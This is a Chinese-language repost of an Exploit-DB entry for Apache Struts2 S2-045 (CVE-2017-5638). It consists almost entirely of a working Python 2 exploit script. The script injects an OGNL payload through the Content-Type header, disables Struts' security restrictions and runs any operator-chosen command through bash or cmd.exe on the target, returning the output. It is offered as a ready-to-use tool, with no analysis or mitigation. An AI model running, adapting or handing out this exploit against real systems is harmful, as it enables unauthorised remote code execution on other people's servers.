Apache Struts 2.3.5 < 2.3.31 / 2.5 < 2.5.10 - Remote Code Execution - 体验盒子

作者： Vex Woo

日期： 2017-03-07

类别：

webapps

平台：

linux

来源：https://www.exploit-db.com/exploits/41570/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

#!/usr/bin/python

# -*- coding: utf-8 -*-

import urllib2

import httplib

def exploit(url, cmd):

payload = "%{(#_='multipart/form-data')."

payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."

payload += "(#_memberAccess?"

payload += "(#_memberAccess=#dm):"

payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."

payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."

payload += "(#ognlUtil.getExcludedPackageNames().clear())."

payload += "(#ognlUtil.getExcludedClasses().clear())."

payload += "(#context.setMemberAccess(#dm))))."

payload += "(#cmd='%s')." % cmd

payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."

payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."

payload += "(#p=new java.lang.ProcessBuilder(#cmds))."

payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."

payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."

payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."

payload += "(#ros.flush())}"

try:

headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}

request = urllib2.Request(url, headers=headers)

page = urllib2.urlopen(request).read()

except httplib.IncompleteRead, e:

page = e.partial

print(page)

return page

if __name__ == '__main__':

import sys

if len(sys.argv) != 3:

print("[*] struts2_S2-045.py <url> <cmd>")

else:

print('[*] CVE: 2017-5638 - Apache Struts2 S2-045')

url = sys.argv[1]

cmd = sys.argv[2]

print("[*] cmd: %s\n" % cmd)

exploit(url, cmd)